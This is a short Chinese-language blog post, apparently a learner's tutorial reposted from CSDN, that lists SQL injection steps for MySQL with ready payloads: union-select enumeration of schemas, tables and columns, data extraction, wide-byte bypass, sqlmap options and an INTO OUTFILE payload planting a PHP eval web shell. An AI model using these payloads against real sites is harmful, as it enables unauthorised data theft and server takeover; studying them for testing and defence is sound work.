SQL注入步骤

SQL注入的过程
最近学习了SQL注入,抽空总结一下

1.寻找注入点
找到类似的id=类似的可以手工测试是否为注入点一般的测试手工手段就是 id=1 and 1=2 等等根据返回的页面判断是什么类型的注入方式
一般没有加’‘就是数字型注入 加了’‘就是字符型注入 根据不同的注入类型来选择不同的注入方式
2.判断字段个数 id=1 order by n
3. 判断数据库信息 这个一般是根据页面的报错显示数据库的类型等等
4.查找数据库名 ?id=1 and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1-- ss
5.查找数据库表名 ?id=1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- ss
6.查找列名 ?id=1 and 1=2 Union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1-- ss(大小写可能绕过)
7.获取数据 ?id=1 and 1=2 union select 1,id,flag from flag-- ss
Mysql5及以上的版本中有 information_schema库存放了数据库的信息内容 直接爆库爆表爆字段
联合查询数据库的version(),database(),user()
union select user,password from users 查询用户密码(md5加密)
id=1’ union select ’<?php eval($_POST['root']);?> ,2 into outfile’c:/123.php’±-+&Submit=Submit 注入一句话木马
sql宽字节注入 繁体字干掉\ %df limit限制
get 、post、cookies的提交方式
get:直接通过URL地址
post:通过抓包改包
cookies:抓包改包
post注入:-u http://xxxxxx --form(sqlmap跑)

sqlmap工具注入方式比较快捷但是需要找到注入点 要熟悉sqlmap的命令 -D(数据库) -T(表) -C(列)等
如有不对之处 敬请批评指正 感激不尽

猜你喜欢

转载自blog.csdn.net/weixin_44689834/article/details/106166852